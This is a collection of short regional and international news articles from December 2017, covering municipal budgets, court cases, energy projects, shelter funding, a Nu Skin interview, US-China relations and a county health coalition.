"I hope that the new Council that will be sworn in on Jan. 2 will review the DOR proposal that I sent to them three years ago. It calls for a complete reorganization of the financial departments that would result in a modernized and efficient operation, allowing the mayor to hold department heads accountable," Morse said in a text message.

A temporary use of stabilization account funds to balance the budget makes sense "and would not likely have any negative impact on the city," said Cinder McNerney, the city's long-time bond counsel. (see below)

That's the case as long as the money is reimbursed to the stabilization account before the current fiscal year ends June 30, said McNerney, managing director of FirstSouthwest of Boston. She discussed use of the stabilization account in a Dec. 14 letter to Holyoke City Treasurer Sandra A. Smith.

But the majority of the 15-member City Council said the stabilization account exists to help in emergencies and councilors have opposed using the account for operating expenses.

Morse also had proposed providing the revenue to eliminate the budget deficit by temporarily reducing a line item marked for city payments into the municipal employee retirement system. The plan was to reimburse once free cash was available.

But the Public Employee Retirement Administration Commission (PERAC) said in a Dec. 8 letter to Administrator Cheryl Dugre of the Holyoke Retirement Board that state law prohibits such a use of retirement system funds.

Jackowski said in the letter to the City Council that one of the problems that could fall on taxpayers with a delay in the new tax rate is that many at this time of year make early payments to ensure they don't forget, such as if they are traveling.

"We have already received quite a few of these already," Jackowski said.

"This means that we will have to send these payments back to the taxpayers now, otherwise it would be sitting in our office for over a month until the bills can actually be generated, and at that point the checks would be stale. This will certainly cause many constituents to be angered and they will be calling us to voice that anger," she said.

Warning letter from tax collector to Holyoke City Council: by Mike Plaisance on Scribd

Cinder McNerney's letter to Holyoke City Treasurer Sandra Smith: by Mike Plaisance on Scribd
People's Daily - Over 600 people attended the funeral of good Samaritan Li Guowu to bid farewell to a man who gave his life while trying to save another, in Xian, Shaanxi Province, on December 18.

Li (43) was a shopping mall security guard in Xian and was killed after he tried to save a woman from her suicide.

On the morning of December 10 on Fengchengwulu Road, Li tried to save a woman who had jumped off a high-rise building in an apparent act of suicide. Li attempted to catch the woman, but was crushed to death and died along with the woman.
David Wright, who was accused of planning the beheading of conservative blogger Pamela Geller and of supporting the Islamic State, has been sentenced to 28 years in prison.

Wright, of Everett, was sentenced Tuesday in federal court. He was found guilty of conspiring to provide support to ISIS, acts of terrorism and obstructing justice in October.

Wright was accused of planning to carry out attacks against people in the U.S. in support of ISIS in 2015 along with co-conspirator Nicholas Rovinski.

Wright's uncle, 26-year-old Usaamah Abdullah Rahim, was shot and killed by Boston Police Officers and FBI agents after confronting them in a Roslindale parking lot.

Rahim had allegedly planned to behead an unidentified victim, before changing his mind and saying he wanted to kill police officers, according to federal court documents.

Rahim told Wright that he wanted to go after the "boys in blue," referring to police officers, officials said.

Wright, Rovinski and Rahim believed killing people in the U.S. would support the objectives of the group known as ISIS or ISIL, the Islamic State of Iraq and the Levant.

Plans for one of those attacks included the beheading of a Geller, who lives in New York, according to the U.S. Attorney's office. That woman was identified by ISIL for murder through a religious decree.

Rovinski pleaded guilty in September 2016. At that court date, he admitted that beginning in December 2014, he and Wright began talking about their mutual desire to support ISIL and how they could provide assistance to the terrorist group, the U.S. Attorney's office said.
BELCHERTOWN -- A judge on Tuesday heard testimony on a motion to suppress taking the cellphone of the driver facing a negligent motor vehicle homicide charge in the death of Amherst blogger Larry Kelley.

Eastern Hampshire District Court Judge Michael Mulcahy took the motion under advisement.

Ryan Fellion, 18, of Belchertown, is charged in the Feb. 17 crash that killed Kelley.

Northampton lawyer David C. Kuzmeski told Mulcahy that there was no evidence that his client was using his phone and police had no reason to seize it. He said neither his client nor his mother consented to taking the phone from Fellion, who was in the hospital when the phone was seized.

Assistant Northwestern District Attorney Andrew Covington argued there was probable cause. He had two police officers testify about the crash and the seizing of the phone from the hospital room.

The phone was seized and police subsequently determined that it had been receiving data during the time of the crash, according to testimony Tuesday from Massachusetts State Police Trooper Daniel Moran as well as the probable cause statement presented in court documents.

But Kuzmeski said that reports of Fellion's phone receiving data are a "red herring" because his own phone was receiving data even as he was arguing the motion before the judge.

According to the state police probable cause statement, Fellion's phone was "actively accessing data and was being used while operating his motor vehicle."

The document quoted a passenger in Fellion's vehicle who said Fellion was texting while driving from Belchertown toward Amherst when he allegedly crossed the center lines and crashed head-on into the vehicle Kelley was driving.

The passenger later said she couldn't remember what happened, according to Kuzmeski, who tried to portray her as unreliable.

Covington, meanwhile, is asking that Fellion provide his passcode so police can gain access to the content of the phone -- something they cannot get without the passcode.

Kuzmeski argued against his client providing the passcode.

The case was continued until Feb. 19 for a status conference.

Covington also gave the judge two CDs with interviews police conducted -- including one with Fellion in his hospital bed. He suffered a broken hip among other injuries.

Negligent motor vehicle homicide is a misdemeanor punishable by up to 2.5 years in a county jail. A conviction carries a 15-year loss of license.

Fellion's family sat behind him in the courtroom, and friends and relatives of Kelley, including his ex-wife, Donna, sat behind Covington.
SPRINGFIELD -- Richard Valentini was led out of a federal courtroom in handcuffs late Monday after being convicted by a jury of conspiracy and extortion.

The quick remand to prison was somewhat startling to the defense, as federal defendants granted pretrial bail typically have a month or more of freedom until they are formally sentenced. However, federal law dictates that those convicted of specific crimes of violence must be immediately jailed.

U.S. District Judge Timothy Hillman looked grim as he ruled Valentini must be immediately taken into custody.

"Mr. Valentini, I'll tell you right now if I (had a choice) you'd remain on bail. But I don't think I have a choice. I'm sorry," the judge said.

Valentini, 52, of East Longmeadow, was among four charged with the 2013 shakedown of tow company operator Craig J. Morel for $20,000.

The others -- Ralph Santaniello and Giovanni "Johnny Cal" Calabrese, of Longmeadow, and Francesco "Frank" Depergola, of Springfield -- entered into plea deals in the case and await sentencing dates in January and March. Santaniello has been held without bail since their arrests on Aug. 4, 2016. Calabrese and Depergola have remained out on bail.

Valentini is set for sentencing on March 12.

Although the maximum sentence for extortion is 20 years in prison, Valentini more likely faces a sentencing guideline range of 63 to 78 months behind bars -- though the judge has discretion to adjust that penalty higher or lower.

Valentini did not appear to react as jurors delivered their verdicts shortly after 3 p.m. after just three hours of deliberations. Jurors began mulling the case around noon on Monday after four days of testimony and arguments.

Santaniello and Calabrese on Sept. 30, 2013, drove up a long gravel driveway to a remote plot of land in Hampden where Morel was rebuilding a home that burned down months earlier. The pair demanded thousands in "arrears" of "street taxes" Morel had been paying late mob boss Adolfo "Big Al" Bruno before Bruno was murdered by rival gangsters in 2003.

Amid a parade of law enforcement officials, Morel testified for four hours on Friday, telling jurors that three regimes of gangsters took parasitic interests in his large towing business since he launched it in 2000. Along with the business came a valuable municipal towing contract that was the lifeblood of Morel's new venture.

Bruno represented himself as critical to the survival of the contract and collected a $5-per-tow monthly kickback for three years -- amounting to thousands in monthly cash payments -- until Morel temporarily lost the contract in 2003. He then refused to continue the payments.

Bruno was killed a month later.

Morel built his business over the next decade, unfettered by the mob, until Santaniello and Calabrese came calling. They threatened to kill Morel and cripple his business if he didn't comply.

Morel began working with Massachusetts State Police after Santaniello cracked him in the cheek during their first encounter, proclaiming himself the new leader of the "Springfield Crew" with blessings from New York gangsters.

Morel made 16 recordings for law enforcement, and Valentini was featured in one. Defense attorney Jared Olanoff argued to jurors that his client bailed out of the scheme after the one encounter, when Valentini promised Morel would receive even better treatment than he had under Bruno's watch.

"You'll get Cristal," Valentini joked, referring to the expensive champagne, but never appeared at more than a dozen subsequent meetings with Morel.

Olanoff also scoffed at the government's contention that the scheme was a product of organized crime.

"This wasn't organized crime, this was disorganized crime. This was a mess. This was a pathetic scheme to take money from a guy who used to pay the mob," Olanoff told the panel.

Jurors were apparently unpersuaded.

During the government's closing argument, Assistant U.S. Attorney Katharine Wagner told jurors the notion of the Springfield Crew demanding "protection money" was laughable.

"Why would he need protection? The only people Mr. Morel needed protection from was the Springfield Crew," Wagner argued to jurors.
The Federal Energy Regulatory Commission last week reaffirmed its approval of Spectra Energy's Atlantic Bridge Project, rejecting an appeal from opponents of the natural gas pipeline expansion, many of whom oppose a 7,700-horsepower compressor station planned near the new Fore River bridge in the South Shore town of Weymouth.

The federal agency on January 25 authorized construction of the $450 million project, and on Dec. 13 denied a rehearing of that order.

In its 70-age decision, FERC denied that it failed to conduct a proper environmental review, that it ignored procedural requirements, and that a project consultant had a conflict of interest. The infrastructure project represents "an environmentally acceptable action" that is "required by the public convenience and necessity," FERC stated.

Plans include 6.3 miles of 42-inch replacement line in New York, Connecticut, and Massachusetts; new and expanded compressors, and meter station upgrades. The project would increase capacity on the Algonquin pipeline system by 132,705 dekatherms. Notably, it would reverse the direction of the Maritimes and Northeast pipeline to send natural gas to customers in Maine as the line heads toward Canada.

The project has been bitterly opposed, particularly by communities south of Boston that would be directly impacted by the compressor station.

The rehearing requests were filed by Fore River Residents Against the Compressor Station, the municipalities of Quincy and Weymouth, Weymouth town councilor Becky Haugh, and other individuals and environmental groups across Massachusetts and Connecticut.

Petitioners said the project's environmental assessment was conducted by Natural Resources Group, LLC, consultants to FERC who also do business with project proponent Spectra. U.S. Sens. Elizabeth Warren and Ed Markey wrote in 2016 that "NRG seems to have a financial stake in Atlantic Bridge" because of the business relationship.

FERC noted the letter, said NRG had disclosed its work with for Spectra, and ruled that the relationship did not create an "organizational conflict of interest." While Spectra affiliate Algonquin Gas Transmisssion paid NRG to conduct the environmental review for Atlantic Bridge, the consultants reported to FERC, and "applicants had no control over the work."

FERC rejected arguments that it should have withheld its approval until the applicant had all other permits in hand. The Atlantic Bridge still does not have state authorization under the U.S. Coastal Zone Management Act, needed because of the compressor's proximity to the Atlantic. FERC said such a requirement could place its administrative procedures "indefinitely on hold" and introduce unacceptable project delays.

FERC denied that the compressor station would place a fire and explosion hazard near a densely-settled area, would introduce too much air pollution, or be potentially inundated by coastal flooding. It dismissed claims that it failed to consider climate change impacts, that the project is not needed, or that it improperly "segmented" the approval process.

Initially, Atlantic Bridge was to be part of a three-pronged plan by Spectra, including the Algonquin Incremental Market (AIM) and Access Northeast, which would have delivered more fuel to power generators in the region. The AIM project is up and running, and Spectra withdrew plans for Access Northeast in June.

Weymouth Mayor Robert Hedlund last year rejected an offer from Spectra to pay the town $47 million if it would drop opposition to the compressor station. Any appeal of FERC's Dec. 13 order must be filed in federal court.
AMHERST -- In a season when beds at Craig's Place are just about full every night, the town's only homeless shelter is again facing potential state funding cuts.

In August of 2016, the legislature overrode Gov. Charlie Baker's veto that slashed the shelter's $200,000 funding.

The $200,000 in question again this year is an earmark and not included as a line item in the budget, said Rachel Weiss, co-executive director of the shelter. That's what makes the funding vulnerable.

Without it, the might not be able to stay open all season. The shelter opens Nov. 1 and closes April 30.

Staff are asking people in the community to contact the Legislature asking for support.

State Sen. Stan Rosenberg, D-Amherst, has been a champion of the shelter.

"I have communicated directly and repeatedly with Governor Baker about the importance of releasing all earmarks, especially those for programs like Craig's Door. We are pressing as hard as we can," he said in a statement.

State Rep. Solomon Goldstein Rose, D-Amherst, said his office has been "requesting updates and the release of the funds, but haven't heard anything positive from the administration.

"Governor Baker so far is sticking by his freeze on releasing any earmarks at all," the said.

He sent a letter to Baker Tuesday urging the governor "to release the Craig's Doors earmark funding without any further delay -- for some members of my community, it could be the difference between spending the winter on the streets, risking illness and even death, as we head into the winter months and the temperatures remain below freezing."

He said the shelter opened with savings from the last season but "this is not sustainable for long -- without the funds appropriated by the Legislature being released to Craig's Doors, we expect the shelter will close in mid-winter.

"This is not only a crisis for people who rely on the shelter, but also a humanitarian crisis for our community, which seeks to provide a caring response to people who have the least and who are most endangered."

Shelter co-director Jade Lovett said the shelter has been so full that at times they have had to turn down as many as 11 people a night and there are few alternatives as the shelter in Northampton is full as well.

Craig's Place has 22 beds for men and six for women.

She said they are working on a contingency plan and additional fund-raising in case the state money not restored.

In October, Baker put funding for all earmarks on hold because of budget uncertainties.
The International Brotherhood of Electrical Workers announced Tuesday it supports the Northern Pass in the Massachusetts Clean Energy RFP.



The IBEW said Eversource has guaranteed Massachusetts jobs during construction of its 192-mile high-voltage transmission line, which would travel from Canada through the White Mountains of New Hampshire to serve power customers in southern New England.

The line is among several proposals competing to deliver low-carbon electricity from Canada and northern New England to Massachusetts, and developers eager for state-sanctioned, long-term utility contracts have been waging public relations campaigns.

Bids for transmission and clean power generation were submitted into the Massachusetts solicitation July 27, and a panel of state regulators and utility representatives will announce the winners by Jan. 25.

In a press release, IBEW Vice President Michael Monahan said Northern Pass has a formal labor agreement to provide jobs for Massachusetts workers and competing bidders do not. He said energy projects seeking state subsidies should provide work for state residents and criticized state lawmakers for not writing that requirement into the solicitation.

"The people of Massachusetts should have the assurance that their money is being invested in a project that not only provides clean, lower-cost energy, but also brings the added benefit of providing work directly to Massachusetts workers," he said.

The transmission projects would be underwritten by ratepayers, not taxpayers, and the utility contracts with National Grid, Eversource and Unitil are necessary for project financing.

The $1.6 billion Northern Pass, proposed by Eversource Energy and Hydro-Quebec, has encountered vigorous opposition and numerous delays. Nonetheless, Eversource maintains that the project will deliver the most value to ratepayers. This week, a final round of public hearings are wrapping up in New Hampshire before that state's Site Evaluation Committee decides upon a final and essential permit for the project.



Four other transmission and energy generation partnerships are also vying for utility contracts under the request for proposals, launched as the result of Massachusetts' landmark 2016 energy diversification bill, which seeks to reduce greenhouse gas emissions while ensuring reliability.

TDI's 1,000-megawatt New England Clean Power Link would travel 98 miles beneath Lake Champlain in Vermont and 56 miles underground to a transformer in Ludlow, Vermont. Also pegged at $1.6 billion, and also aligned with Hydro-Quebec, it has gained the cooperation of environmental groups and pledged $20 million for energy retrofits in Western Massachusetts.

Central Maine Power and Avangrid hope to build the 1,200-megawatt New England Clean Energy Connect to carry power from Hydro-Quebec to the New England grid. The Maine utility said this month that its fixed-cost $950 million project is the most cost-feasible and least disruptive because it already owns the 145-mile right-of-way.

The Maine Clean Power Connection, a separate project, would run 140 miles from far western Maine, where Next Era Energy Resources plans large-scale wind and solar developments, to a substation in Lewiston, Maine.

National Grid and Citizens Energy plan the Granite State Power Link from northern Vermont to northern New Hampshire. It would deliver 1,200 megawatts of wind power from Quebec and upgrade 109 miles of existing AC lines into Londonderry, New Hampshire.

The same partnership proposes the Northeast Renewable Link to carry 600 megawatts of wind, solar and small hydro from New York through a 23-mile AC line to an Eversource substation in Berkshire County.

Emera, Inc. proposes its 900-megawatt Atlantic Link project, which would travel 370 miles undersea from Eastern Canada to the Pilgrim Nuclear Station in Plymouth. The reactor is scheduled to retire in mid-2019, freeing up transmission capacity and providing a connection to the six-state power grid managed by ISO New England.

Public versions of the bids, which include transmission lines, wind, hydro, storage and solar projects, have been posted online, along with documents relevant to a separate offshore wind procurement.
By KATIE LANNAN / State House News Service

More than 2,000 students from Puerto Rico have arrived in Massachusetts schools after fleeing hurricane damage, acting education commissioner Jeff Wulfson said Tuesday.

Wulfson told the Board of Elementary and Secondary Education that the pace of arrivals has accelerated in the last couple weeks. Education officials are now looking to see if there will be a "considerable increase after the holidays, as many folks are expecting," he said.

The education department's unofficial count of students from Puerto Rico stood at 1,866 as of Dec. 8, and Wulfson said the tally has now "passed the 2,000 student mark."

The Massachusetts Taxpayers Foundation said in a midyear budget update that it's unknown how many Puerto Rican families are staying with friends and relatives here after Hurricane Maria landed a devastating blow on the island. Some school districts "already dealing with an unexpected influx of students related to the disaster," the foundation said.

"In the aftermath of Hurricane Katrina, Massachusetts set aside funds to support the education, housing and other costs of refugees temporarily residing in the state," the MTF update said. "It is possible that a similar approach will be necessary to address the cost related to families displaced by Hurricane Maria."

The Board of Higher Education has extended in-state tuition rates at the University of Massachusetts campuses, state universities and community college to students from Puerto Rico and the U.S. Virgin Islands who relocated here because of hurricane damage. The break from the higher out-of-state rates will be in effect through the spring 2018 semester.

Puerto Rico Gov. Ricardo Rossello, who visited the State House on Dec. 12, said then that education is the primary concern of parents who evacuated their families. - Katie Lannan/SHNS
Recently, Matthew Dorny, Vice President and General Counsel of NU SKIN, one of the leading global companies in personal care products and nutritional supplements, gave an interview to People's Daily Online, in which he shared his views on the company's strategy and development in the Chinese market.

Reporter: Hi everyone, this is the interview from People.cn. We are glad to have Mr. Matthew Dorny, Vice President and General Counsel of NU SKIN, one of the leading global companies in personal care products and nutritional supplements.

Good evening Mr. Dorny. May I ask how many times have you been in Beijing? Whats your purpose this time?

Mr. Dorny: I have been to China many times and this is only the third time that I have been to Beijing. I came for the World Political Parties High-level Meeting and China-US High Level Political Party Leaders Dialogue held on December 1 and December 5, respectively. As an officially listed enterprise on New York Stock Exchange, NU SKIN is doing its best to facilitate economic, trade, and technological cooperation between the US and China. China is also one of the most important markets for us. We cherish the opportunity to build communication between our two countries people, companies, and officials. We especially hope to contribute more and more to business collaborations between China and the US, and improving quality of life in both countries.

Reporter: You just mentioned about World Political Parties High-level Meeting and China-US High Level Political Party Leaders Dialogue. Do you any thoughts to share with us?

Mr. Dorny: it was really an amazing experience to attend the dialogues, both of them. It was really an educational experience for me and also very motivational. I also attended the Party Leaders dialogue in Washington, D.C., in 2016. This years events have a slightly different feel from the Party Leaders Dialogue I attended last year, because they come on the heels of several major events that have demonstrated Chinas growing statues on the world stage: the 19th CPC National Congress, President Trumps visit to Beijing, and the APEC Summit.

The World Political Parties High-level Meeting and the China-US High Level Political Party Leaders Dialogue provide valuable platforms for political parties from different countries to enhance mutual understanding and to exchange experiences. Political leaders, entrepreneurs, media organizations, and think tanks discussed how to build a community with a shared future. This was my first time attending the World Political Parties High-level Meeting. Over 600 representatives from around 300 parties globally participated in the meeting. During the China-US High Level Political Party Leaders Dialogue, representatives of both the Democratic and Republican Parties recognized Chinas great economic achievements over the past 30 years since reforms began, and expressed a desire for further collaboration. These representatives engaged with officials from Chinas Communist Party to understand their perspectives on economic development and opportunities for collaboration. NU SKIN is proud of being part of Chinese economic development story, and is optimistic about the future potential of the Chinese market. NU SKIN seeks to promote healthier lives for consumers and to boost the Chinese and American economies. These meetings were helpful to us in understanding broader trends and how our company can contribute.

Reporter: As a famous multinational corporation, NU SKIN does well in China in recent years. How do you view about the development and what is the companys strategy in China market?

Mr. Dorny: NU SKIN was established in Provo, Utah in 1984. We have successfully spread our business to nearly 50 markets during the past 30 years. NU SKIN is one of the leading global enterprises in personal care products and nutritional supplements. NU SKIN has remained committed to establishing a permanent footing in the China market. From establishing a factory and R&D center in 1998 to opening our first offline store here in 2002 to launching in the Chinese market in 2003 to establishing an Innovation Park with a nearly CNY 500 million investment in Shanghai in 2014, our goal of deeply cultivating the Chinese market and achieving sustainable development in China has never changed.

We are optimistic about Chinas economic development, and will continue to increase investment in China. Our ability to increase investments in China will be further enhanced by improvements to the investment environment (a more open, transparent market with greater standardization and legal protections). Our goal is to continue to invest in China and focus on the training of sales staff to further improve service quality and meet the personalized needs of consumers.

China is a long-term component of NU SKINs strategy, and we seek to grow together with the Chinese economy. With the world largest population, second largest economy, and largest trade flows in the world, China is playing an increasingly important role in regional economic organization and globalization. We understand that China is undergoing reforms necessary to address rising Chinese consumer demand, and we believe we can play a role in this shifting economic environment. At NU SKIN, we view innovation as critical for economic growth and development, and are implementing an innovation-driven growth strategy. Through innovation, we improve product quality and service capabilities to better meet the demands of Chinese consumers.
In its first release of the national security strategy on Monday, the Trump administration has labelled China as a strategic competitor. The document repeatedly draws attention to China and Russia as two countries that "challenge American power, influence and interests, attempting to erode American security and prosperity."

"China is seen as a strategic competitor because China competes effectively across the political, economic, military and informational domains in ways probably not duplicated by our other competitors," a senior administration official said a day before the strategy was released.

President Donald Trump speaks on national security Monday, Dec. 18, 2017, in Washington. Trump says his new national security strategy puts "America First." (Photo: AP)

Several American experts People's Daily has talked to share the concern that this harsh rhetoric of the Trump administration will possibly lead to more confrontation between the US and China, which is detrimental to both countries' interests.

Charles W. Freeman III, the nonresident senior fellow at Brookings, previously served as the assistant US trade representative for China affairs. As he viewed it, the Trump administration's choice of words "strategic competitor" and "revisionist" in labelling China is "strange."

Freeman recalled that George W. Bush during the campaign has also labeled China as a strategic competitor, but when he came into office, he found that labels were very limiting. "When he was asked several years later to describe the US relationship with China, he said it's very complicated. Many of the people working in the US government over the years have tried to discourage from choosing labels.  I think it's just language.  It's the most important diplomatic relationship; everybody understands that. Why any government chooses to go beyond that? I don't know."

Photo: AP

As for the possible impact, this strategy will have on the China-US relationship, Freeman voiced his optimism by saying that "the collective interest of the US and China at this point is pretty strong, a lot stronger than anyone on either side of the Pacific who wants to break this interest can do."

Freeman noted that the Trump administration's tough language regarding China represents the frustration felt by some of the American business community and the public. However, he also stressed that the feasible approach to alleviate this frustration is to have conversations and make sure those conversations have an eye on achieving solutions. "It sounds simple, but I think that is the only solution."

File photo: IC

In a speech delivered in the Ronald Reagan Building and International Trade Center, Trump said the national security strategy report, which has been developed for over a year, features "principled realism." However, as viewed by the former US Ambassador to China and Assistant Secretary of State Stapleton Roy, it only represents a distorted view of the world.

Roy said, "By rejecting the conception of the global community, I believe this strategy is distorted. ... Not a single member of the Trump administration has played any role in creating this international order. They don't take into account that cooperation is a necessary part of any international order, so there's a certain amateurish quality to this national security strategy."

Roy remarked that the strategy looked to China and Russia together as revisionist states, but US relationships to the two countries are radically different. The US-Russia trade is 20 times smaller than the US-China trade. Roy has also expressed unease towards the document's labeling China and Russia as revisionist powers. "I don't think the world wants to be divided into new camps. That's what the national security strategy is doing."

According to White House officials, what was specifically new in this report, compared with its predecessors, was the inclusion of economic and trade security in the report. But experts are concerned that the Trump administration's approach to global trade outlined in this national security strategy will be nothing but detrimental.

Roy said that the strategy does not put enough emphasis on cooperation as a way to overcome problems as opposed to coercing countries to do things. For example, there is a session in the strategy that treats economic relations as a tool for coercing countries.

A partner at BakerHostetler whose practice concentrates on international trade disputes told People's Daily that "anything emerging from this strategy will disrupt the global supply chain. The argument to produce things in the US that we shouldn't be making only makes it more difficult for US manufacturers to get their input materials."

As viewed by Roy, the only way to address the economic challenges between the US and China is through dialogue and negotiations. "If the Trump administration takes up the more confrontational approach, I'm afraid they will make a discovery very soon that they are damaging US interests in the process.  Other countries should not overreact to this position of the Trump administration because the approach outlined in this national security strategy is not workable."
PFL Tech Inc. is a marketing technology company that provides sales enablement and marketing automation solutions, as well asprinting, mailing, and fulfillment services. They also provide some great Montana Jobs.
Today, I announced a collaborative and innovative effort to increase access to public lands through the new Montana Public Land Access Network, or the MT-PLAN.

Public lands are our history, our heritage, and our birthright. We are blessed here in Montana to have access to millions of acres of public lands, but theres always more we can do to increase that access. Access to public lands is essential for present and future generations of Montanans from all walks of life, and its essential for our economy. The MT-PLAN provides an opportunity for Montanans to help us gain access to even more of Montanas public lands.

In Montana, we have a rich history of coming up with collaborative and innovative ways to conserve, protect, and open up access to our public lands. During the 2017 Legislative Session, I signed House Bill 597 in to law which created a voluntary contribution account and grant program, known as the MT-PLAN.

This account will be administered by the Montana Department of Natural Resources and Conservation (DNRC) to pursue public access easements to open up public lands for recreational purposes and complete projects that enhance existing public access sites across Montana.

The MT-PLAN is widely supported by a diverse range of landowners and sportsmen groups for its innovative approach to provide incentives to private landowners for increasing public access across private land to otherwise inaccessible public lands.

This grant program is fully funded by private donations to DNRC and the Montana Department of Fish, Wildlife and Parks. Individuals or organizations can make a donation when buying a wildlife conservation or combination license online or at their locally authorized vendor. All donations are tax deductible, and payments to landowners are exempt from taxation.

To find out more about the MT-PLAN or to make a donation, please visit DNRCs website HERE http://dnrc.mt.gov/divisions/trust/mt-plan

Outdoor recreation is a powerful economic engine and we should be doing everything we can to expand and protect public access to our public lands, clean air and water, wildlife, and the jobs and growing economy that rely on them. Thank you for your commitment, every day, to Montanas public lands, to our economy, and to the values we share as Montanans.

Sincerely,

STEVE BULLOCK

Governor
Amazons purchase of Whole Foods rocked the US grocery industry and traditional stores to look for new ways to keep customers shopping. Many have turned to curbside pickup that combines the ease of online shopping and skipping lines with more flexibility with fresh foods.

Lisa Baertlein

Reuters

https://www.csmonitor.com/Business/2017/1218/Bricks-and-mortar-grocery-stores-hope-to-edge-out-Amazon-with-curbside-pickup
The Commissioner of Political Practices said Monday his office will comply with the recent ruling of a U.S. District Court judge and no longer treat ethics complaints filed against elected officials as confidential.

And complaints filed against state employees will remain confidential until they get to the hearing stage.

Commissioner Jeff Mangan said U.S. District Court Judge Brian Morris issued an order Dec. 15 in regards to Rep. Brad Tschida, R-Missoula, vs. Mangan.

Phil Drake, [email protected]

http://www.greatfallstribune.com/story/news/2017/12/18/judge-eases-confidentiality-rules-elected-officials/963265001/
On a family trip to Mexico, Peterson said, his parents made the pitch: Why didnt he settle down in Sidney and open a brewery there? He was against the idea at first, thinking a brewery would never fly, but as he recalled it, his parents said to him, "If Wibaux http://lastbestnews.com/site/2014/11/beer-food-fun-make-for-big-draw-at-wibaux-brewery/ can have a brewery, Sidney can have a brewery http://meadowlarkbrewing.com/ ."

By: Ed Kemmick

http://lastbestnews.com/site/2017/12/in-sidney-hometown-boy-makes-good-beer-that-is/
Canary Wharf

Chinas Kingboard Chemical Holdings Ltd., a Hong Kong based investor, has agreed to purchase KPMGs London headquarters located in Canary Wharf, the most important business area of London, according to a statement issued by the company on Dec. 15.

Kingboard Chemical was established in 1988 and runs businesses in multiple areas including laminate manufacturing, circuit board printing, chemicals, and real estate.

According to the statement, the final price was nearly 400 million ($535 million).

In addition, Kingboard will leaseback the property, which comprises 434,261 square feet (40,328 square meters), to KPMG for 25 years at an annual rent of 18.13 million.

It is not the first property purchase made by buyers from mainland China and Hong Kong.

Chinese developer Cheung Kei Group made its second London real estate play by buying a Canary Wharf office building for 270 million, said UK media on Dec. 5.

Londons landmark Walkie-Talkie skyscraper was also sold to Hong Kong investor Lee Kum Kee, a sauces and condiments group, for 1.3 billion this July.
The Chinese consulate-general in Melbourne on Tuesday issued a warning to Chinese students, encouraging them to take more safety precautions amid increasing attacks and insults targeting Chinese nationals in Australia.

Recently, attacks and insults targeting Chinese students have occurred in different places in Australia, therefore we warn all Chinese students in Australia to keep alert of possible danger and call the police and embassy if such incidents occur, read the announcement.

The warnings appear to be the Chinese authorities latest countermeasure against several anti-Chinese incidents that took place recently in Australia. Earlier in July, racist flyers directed at Chinese students were found at two Melbourne universities, which indicated that Chinese students were not allowed to enter the campus buildings, otherwise they would be deported. In October, an attack on Chinese students in Canberra, which saw one hospitalized, also infuriated Chinese communities in Australia.

Over the past 11 months, some Australian politicians and media have been obsessed with one thing, that is, criticizing China...Some Australian political figures and media are going even further to hype Chinese resentment and China containment, read a Xinhua article which was posted on the consulates official website on Dec.9.

I dont feel surprised that anti-Chinese resentment can find its spot in Australia, as the countys leaders have publicly declaimed China with groundless accusations on many occasions. I feel very disappointed, but I believe that Australians are generally friendly and kind to us, Zheng Mengqi, a 25-year-old Chinese student living in Sydney, told Peoples Daily Online.

The consulates warning quickly went viral on Chinese social media. A relevant post tweeted by Peoples Daily on Sina Weibo garnered over 1,000 likes and 600 comments within 30 minutes, with many Chinese netizens criticizing Australian authorities for tolerating such racist actions.

Im totally disgusted by such racist attacks. Australia should take action to protect Chinese students, as well as stopping slashing China with irresponsible accusations, said a netizen on Sina Weibo.

According to Xinhua, there are about 200,000 Chinese students studying in Australian universities and schools, which is a good source of fund for those Australian institutions.
Friday afternoon, the McDowell Health Coalition looked back at its accomplishments while continuing the work of transforming McDowell County into one of the healthiest rural counties in North Carolina.

The McDowell County Health Coalition held its annual meeting Friday at the Universal Advanced Manufacturing Center.

The Coalition is comprised of leaders from the business community, local government, the school system, public health, medical and health professionals and local law enforcement. The purpose of the coalition is to address McDowells top health problems and find solutions for them. The coalition was formed after a community-wide meeting held in 2006 took a close look at McDowells health problems. Since then, the coalition of various local leaders has worked on finding ways to solve these issues.

During Fridays meeting, Corpening YMCA Executive Director Meghan Merritt, who is also the Coalition boards chairwoman, led the discussion and introduced the representatives from the various workgroups that tackling the health problems in McDowell County.

She also introduced Dan Smith as the interim executive director for the coalition.

Dan has a long history of excellent service with the N.C. Cooperative Extension and is currently retired, but he is taking on this interim role part to assist us in moving the current initiatives of the McDowell Health Coalition forward, said Merritt.

Smith said he is looking forward to working with all of the coalition members. As I look at all of the great things you have accomplished, I am proud to be a part of the Coalition's efforts to help our citizens live healthier lives, he said.

This year, Valerie Dobson, Heather Cotton and Pat Faulkner are rotating off the coalitions board. But two new members are joining: Library Director Marlan Brinkley, who will be the boards treasurer, and Transportation Director Randall Conley.

Looking back at 2017, the Coalition has made a difference in McDowell County. The Coalitions goal is to transform McDowell into one of the healthiest rural counties in North Carolina.

One of the Coalitions programs is McDowell Access to Care and Health or MATCH. This is a streamlined system of health that improves access to care, engages the patient in their physical, behavioral and social health and uses community resources in the best way possible, according to Coalition leaders.

Under the MATCH program, clients can be connected with primary care physicians, specialty care physicians, transportation, case management, dental care, vision care, medical supplies, medical assistance, medication assistance, housing, education, utility bill assistance, education, employment, behavioral health and preventative health.

During 2017, the Coalition:

 Assisted 948 people get benefits from MATCH PCP enrollment

 Assisted 894 people get access to a new service or benefit

 Helped 72 percent of enrolled people with diabetes have a well-controlled A1C.

 Helped 145 people navigate through the Affordable Care Act.

 Assisted people who make high use of the hospitals Emergency Department reduce that utilization by 87 percent

 Saw 51 percent of the enrollees improve in at least one patient-specific goal

The Coalition is also targeting workplace wellness. The group that is focusing on this effort is working with local manufacturers, small businesses, local governments, schools and churches to create an environment where employees, students and members have the option to choose to be healthy.

The idea is to take local services and resources to the people where they are, said Nick Byrd, the Coalitions employee health advisor.

Our biggest goal is to be a conduit to worksites, he added.

Merritt talked about how the Coalition, the school system and the Corpening YMCA are also working to transform after-school in McDowell County. The idea is to surround students with a community of support, empowering them to stay in school and achieve in life, while giving parents the resources they need to have success in the workforce.

With grant money, the YMCA and the schools seek to start community health and wellness hubs. There would be one to two hubs per year with the goal of serving a total of 175 kids by year three. The effort would include providing quality child care programming with a healthy eating/active living focus (30 minutes of physical activity per day). The YMCA and the schools would partner with area manufacturing plants to provide child care during non-traditional hours to support shift workers, among other objectives.

A major focus of the Coalition and other community leaders is improving local food options in McDowell County.

Cooperative Extension Director Molly Sandfoss talked about making healthier food more available for people in need. She said EBT recipients are encouraged to buy their food at the Historic Marion Tailgate Market and this has proved to be very successful.

